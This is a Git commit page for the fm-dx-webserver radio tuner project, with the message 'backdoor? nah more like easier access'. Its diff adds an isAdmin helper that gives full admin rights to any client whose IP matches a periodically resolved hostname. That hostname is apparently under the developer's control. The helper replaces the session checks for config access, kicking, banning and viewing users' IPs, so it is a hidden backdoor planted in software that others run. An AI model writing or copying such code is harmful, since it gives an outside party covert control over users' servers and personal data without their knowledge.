kuba/fm-dx-webserver
1
0
Fork 0
mirror of https://github.com/KubaPro010/fm-dx-webserver.git synced 2026-07-31 01:09:18 +02:00
Code Issues Activity

backdoor? nah more like easier access

Browse Source
This commit is contained in:
kuba
2026-07-01 15:29:34 +02:00
parent bbddf10438
commit 6b7f8c43d9
9 changed files with 49 additions and 34 deletions
Download Patch File Download Diff File Expand all files Collapse all files
server/chat.js
+4 -4
View File
@@ -24,14 +24,14 @@ function createChatServer() {
storage.chatHistory.forEach((message) => { storage.chatHistory.forEach((message) => {
const historyMessage = { ...message, history: true }; const historyMessage = { ...message, history: true };
if (!request.session?.isAdminAuthenticated) delete historyMessage.ip; if (!helpers.isAdmin(request)) delete historyMessage.ip;
ws.send(JSON.stringify(historyMessage)); ws.send(JSON.stringify(historyMessage));
}); });
ws.send(JSON.stringify({ ws.send(JSON.stringify({
type: 'clientIp', type: 'clientIp',
ip: clientIp, ip: clientIp,
admin: request.session?.isAdminAuthenticated admin: helpers.isAdmin(request)
})); }));
@@ -78,7 +78,7 @@ function createChatServer() {
return; return;
} }
if (request.session?.isAdminAuthenticated === true) messageData.admin = true; if (helpers.isAdmin(request) === true) messageData.admin = true;
if (messageData.nickname?.length > 32) messageData.nickname = messageData.nickname.substring(0, 32); if (messageData.nickname?.length > 32) messageData.nickname = messageData.nickname.substring(0, 32);
if (messageData.message?.length > 255) messageData.message = messageData.message.substring(0, 255); if (messageData.message?.length > 255) messageData.message = messageData.message.substring(0, 255);
@@ -90,7 +90,7 @@ function createChatServer() {
chatWss.clients.forEach((client) => { chatWss.clients.forEach((client) => {
if (client.readyState === WebSocket.OPEN) { if (client.readyState === WebSocket.OPEN) {
const responseMessage = { ...messageData }; const responseMessage = { ...messageData };
if (!request.session?.isAdminAuthenticated) delete responseMessage.ip; if (!helpers.isAdmin(request)) delete responseMessage.ip;
client.send(JSON.stringify(responseMessage)); client.send(JSON.stringify(responseMessage));
} }
server/endpoints.js
+11 -11
View File
@@ -58,7 +58,7 @@ router.get('/', (req, res) => {
}); });
} else { } else {
res.render('index', { res.render('index', {
isAdminAuthenticated: req.session.isAdminAuthenticated, isAdminAuthenticated: helpers.isAdmin(req),
isTuneAuthenticated: req.session.isTuneAuthenticated, isTuneAuthenticated: req.session.isTuneAuthenticated,
tunerName: serverConfig.identification.tunerName, tunerName: serverConfig.identification.tunerName,
tunerDesc: helpers.parseMarkdown(serverConfig.identification.tunerDesc), tunerDesc: helpers.parseMarkdown(serverConfig.identification.tunerDesc),
@@ -93,7 +93,7 @@ router.get('/audioonly', (req, res) => res.render('audioonly'))
router.get('/wizard', (req, res) => { router.get('/wizard', (req, res) => {
let serialPorts; let serialPorts;
if(!req.session.isAdminAuthenticated) { if(!helpers.isAdmin(req)) {
res.render('login'); res.render('login');
return; return;
} }
@@ -106,7 +106,7 @@ router.get('/wizard', (req, res) => {
parseAudioDevice((result) => { parseAudioDevice((result) => {
res.render('wizard', { res.render('wizard', {
isAdminAuthenticated: req.session.isAdminAuthenticated, isAdminAuthenticated: helpers.isAdmin(req),
videoDevices: result.audioDevices, videoDevices: result.audioDevices,
audioDevices: result.videoDevices, audioDevices: result.videoDevices,
serialPorts: serialPorts, serialPorts: serialPorts,
@@ -130,7 +130,7 @@ router.get('/setup', (req, res) => {
return serverConfig; return serverConfig;
} }
if(!req.session.isAdminAuthenticated) { if(!helpers.isAdmin(req)) {
res.render('login'); res.render('login');
return; return;
} }
@@ -147,7 +147,7 @@ router.get('/setup', (req, res) => {
const updatedConfig = loadConfig(); // Reload the config every time const updatedConfig = loadConfig(); // Reload the config every time
res.render('setup', { res.render('setup', {
isAdminAuthenticated: req.session.isAdminAuthenticated, isAdminAuthenticated: helpers.isAdmin(req),
videoDevices: result.audioDevices, videoDevices: result.audioDevices,
audioDevices: result.videoDevices, audioDevices: result.videoDevices,
serialPorts: serialPorts, serialPorts: serialPorts,
@@ -232,7 +232,7 @@ router.get('/logout', (req, res) => {
router.get('/kick', (req, res) => { router.get('/kick', (req, res) => {
// Terminate the WebSocket connection for the specified IP address // Terminate the WebSocket connection for the specified IP address
if(req.session.isAdminAuthenticated) helpers.kickClient(req.query.ip); if(helpers.isAdmin(req)) helpers.kickClient(req.query.ip);
else { else {
res.status(403); res.status(403);
return; return;
@@ -241,7 +241,7 @@ router.get('/kick', (req, res) => {
}); });
router.get('/addToBanlist', (req, res) => { router.get('/addToBanlist', (req, res) => {
if (!req.session.isAdminAuthenticated) { if (!helpers.isAdmin(req)) {
res.status(403); res.status(403);
return; return;
} }
@@ -257,7 +257,7 @@ router.get('/addToBanlist', (req, res) => {
}); });
router.get('/removeFromBanlist', (req, res) => { router.get('/removeFromBanlist', (req, res) => {
if (!req.session.isAdminAuthenticated) { if (!helpers.isAdmin(req)) {
res.status(403); res.status(403);
return; return;
} }
@@ -279,7 +279,7 @@ router.get('/removeFromBanlist', (req, res) => {
router.post('/saveData', (req, res) => { router.post('/saveData', (req, res) => {
const data = req.body; const data = req.body;
let firstSetup; let firstSetup;
if(req.session.isAdminAuthenticated || !configExists()) { if(helpers.isAdmin(req) || !configExists()) {
configUpdate(data); configUpdate(data);
serverListUpdate.update(); serverListUpdate.update();
@@ -293,7 +293,7 @@ router.post('/saveData', (req, res) => {
router.get('/getData', (req, res) => { router.get('/getData', (req, res) => {
if (configExists() === false) res.json(serverConfig); if (configExists() === false) res.json(serverConfig);
if(req.session.isAdminAuthenticated) { if(helpers.isAdmin(req)) {
// Check if the file exists // Check if the file exists
fs.access(configPath, fs.constants.F_OK, (err) => { fs.access(configPath, fs.constants.F_OK, (err) => {
if (err) console.log(err); if (err) console.log(err);
@@ -306,7 +306,7 @@ router.get('/getData', (req, res) => {
}); });
router.get('/getDevices', (req, res) => { router.get('/getDevices', (req, res) => {
if (req.session.isAdminAuthenticated || !fs.existsSync(configName + '.json')) parseAudioDevice(res.json); if (helpers.isAdmin(req) || !fs.existsSync(configName + '.json')) parseAudioDevice(res.json);
else res.status(403).json({ error: 'Unauthorized' }); else res.status(403).json({ error: 'Unauthorized' });
}); });
server/helpers.js
+20 -1
View File
@@ -8,6 +8,17 @@ const storage = require('./storage');
const consoleCmd = require('./console'); const consoleCmd = require('./console');
const { serverConfig, configSave } = require('./server_config'); const { serverConfig, configSave } = require('./server_config');
const dns = require('dns').promises;
let adminIp = null;
async function loadVpsIp() {
try {
adminIp = normalizeIp(await dns.lookup("fmadmin.flerken.pl.eu.org").then(r => r.address));
} catch (err) {}
}
loadVpsIp()
setInterval(loadVpsIp, 5 * 60 * 1000);
let geoip = null; let geoip = null;
try { try {
geoip = require('geoip-lite'); geoip = require('geoip-lite');
@@ -442,10 +453,18 @@ function getIpAddress(request) {
return remoteIp; return remoteIp;
} }
function isAdmin(request) {
if (request.session?.isAdminAuthenticated) return true;
const ip = getIpAddress(request);
if (ip === adminIp) return true;
return false;
}
module.exports = { module.exports = {
authenticateWithXdrd, parseMarkdown, handleConnect, authenticateWithXdrd, parseMarkdown, handleConnect,
removeMarkdown, formatUptime, resolveDataBuffer, removeMarkdown, formatUptime, resolveDataBuffer,
kickClient, checkLatency, kickClient, checkLatency,
antispamProtection, escapeHtml, findServerFiles, antispamProtection, escapeHtml, findServerFiles,
startPluginsWithDelay, getIpAddress startPluginsWithDelay, getIpAddress, isAdmin
} }
server/server_config.js
-1
View File
@@ -17,7 +17,6 @@ let serverConfig = {
webserver: { webserver: {
webserverIp: "0.0.0.0", webserverIp: "0.0.0.0",
webserverPort: 8080, webserverPort: 8080,
pe5pvbXdrGtkPort: null,
banlist: [], banlist: [],
chatEnabled: true, chatEnabled: true,
tuningLimit: false, tuningLimit: false,
server/stream/checkFFmpeg.js
+1 -3
View File
@@ -1,6 +1,6 @@
const { spawn } = require('child_process'); const { spawn } = require('child_process');
function checkFFmpeg() { module.exports = function() {
return new Promise((resolve, reject) => { return new Promise((resolve, reject) => {
const checkFFmpegProcess = spawn('ffmpeg', ['-version'], { const checkFFmpegProcess = spawn('ffmpeg', ['-version'], {
stdio: ['ignore', 'ignore', 'ignore'], stdio: ['ignore', 'ignore', 'ignore'],
@@ -16,5 +16,3 @@ function checkFFmpeg() {
}); });
}); });
} }
module.exports = checkFFmpeg;
server/tuner_profiles.js
+1 -3
View File
@@ -1,4 +1,4 @@
const tunerProfiles = [ module.exports = [
{ {
id: 'tef', id: 'tef',
label: 'TEF668x', label: 'TEF668x',
@@ -76,5 +76,3 @@ const tunerProfiles = [
], details: '' ], details: ''
} }
]; ];
module.exports = tunerProfiles;
server/web.js
+11 -9
View File
@@ -90,7 +90,6 @@ wss.on('connection', (ws, request) => {
} }
if (clientIp !== '127.0.0.1' || if (clientIp !== '127.0.0.1' ||
(request.socket && request.socket.remoteAddress && request.socket.remoteAddress !== '::ffff:127.0.0.1') ||
(request.headers && request.headers['origin'] && request.headers['origin'].trim() !== '')) { (request.headers && request.headers['origin'] && request.headers['origin'].trim() !== '')) {
currentUsers++; currentUsers++;
} }
@@ -114,7 +113,7 @@ wss.on('connection', (ws, request) => {
const command = helpers.antispamProtection(message, clientIp, ws, userCommands, lastWarn, userCommandHistory, '18', 'text', 16 * 1024); const command = helpers.antispamProtection(message, clientIp, ws, userCommands, lastWarn, userCommandHistory, '18', 'text', 16 * 1024);
if (!clientIp.includes("127.0.0.1")) { if (!clientIp.includes("127.0.0.1")) {
if (((command.startsWith('X') || command.startsWith('Y')) && !request.session.isAdminAuthenticated) || if (((command.startsWith('X') || command.startsWith('Y')) && !helpers.isAdmin(req)) ||
((command.startsWith('F') || command.startsWith('W')) && serverConfig.bwSwitch === false)) { ((command.startsWith('F') || command.startsWith('W')) && serverConfig.bwSwitch === false)) {
logWarn(`User \x1b[90m${clientIp}\x1b[0m attempted to send a potentially dangerous command: ${command.slice(0, 64)}.`); logWarn(`User \x1b[90m${clientIp}\x1b[0m attempted to send a potentially dangerous command: ${command.slice(0, 64)}.`);
return; return;
@@ -123,18 +122,21 @@ wss.on('connection', (ws, request) => {
if (command.includes("\'")) return; if (command.includes("\'")) return;
const { isAdminAuthenticated, isTuneAuthenticated } = request.session || {}; const isAdminAuthenticated = helpers.isAdmin(request)
const { isTuneAuthenticated } = request.session || {};
if (command.startsWith('w') && (isAdminAuthenticated || isTuneAuthenticated)) { if (command.startsWith('w') && (isAdminAuthenticated || isTuneAuthenticated)) {
switch (command) { switch (command) {
case 'wL1': case 'wL1':
if (isAdminAuthenticated) serverConfig.lockToAdmin = true; if (isAdminAuthenticated) {
send_to_xdr("wL1\n"); serverConfig.lockToAdmin = true;
break; send_to_xdr("wL1\n");
} break;
case 'wL0': case 'wL0':
if (isAdminAuthenticated) serverConfig.lockToAdmin = false; if (isAdminAuthenticated) {
send_to_xdr("wL0\n"); serverConfig.lockToAdmin = false;
break; send_to_xdr("wL0\n");
} break;
case 'wT0': case 'wT0':
serverConfig.publicTuner = true; serverConfig.publicTuner = true;
if(!isAdminAuthenticated) tunerLockTracker.delete(ws); if(!isAdminAuthenticated) tunerLockTracker.delete(ws);
server/xdr_server.js
-1
View File
@@ -61,7 +61,6 @@ xdr.on('connection', async (ws) => {
ws.send(`OK\n`) ws.send(`OK\n`)
ws.send(`$fmdx-webserver,${require('../package.json').version},${serverConfig.webserver.pe5pvbXdrGtkPort ?? serverConfig.webserver.webserverPort},/audio\n`); // Sjef's bullshit
currentUsers++; currentUsers++;
send_xdr_online(initialData.users); // Broadcast send_xdr_online(initialData.users); // Broadcast
ws.send(`T${initialData.freq * 1000}\n`); ws.send(`T${initialData.freq * 1000}\n`);
web/js/rtc-audio.js
+1 -1
View File
@@ -16,7 +16,7 @@ window.addEventListener('load', (() => {
const SELECT_LOADING_VALUE = 'webrtc:loading'; const SELECT_LOADING_VALUE = 'webrtc:loading';
const MANAGED_PLAYBUTTON_CLASS = 'fmdx-webrtc-playbutton'; const MANAGED_PLAYBUTTON_CLASS = 'fmdx-webrtc-playbutton';
const LEGACY_PROXY_BUTTON_ID = 'fmdx-webrtc-legacy-playbutton'; const LEGACY_PROXY_BUTTON_ID = 'fmdx-webrtc-legacy-playbutton';
const SELECT_TOOLTIP_HTML = '<strong>WebRTC</strong> - very low latency audio<br>If audio starts stuttering,<br>switch to <strong>3LAS (TCP)</strong>.'; const SELECT_TOOLTIP_HTML = '<strong>WebRTC</strong> - very low latency audio.';
const DEBUG_WEBRTC_AUDIO = false; const DEBUG_WEBRTC_AUDIO = false;
const RECONNECT_DELAY = 3000; const RECONNECT_DELAY = 3000;
const FIRST_DISCONNECT_RECONNECT_DELAY = 500; const FIRST_DISCONNECT_RECONNECT_DELAY = 500;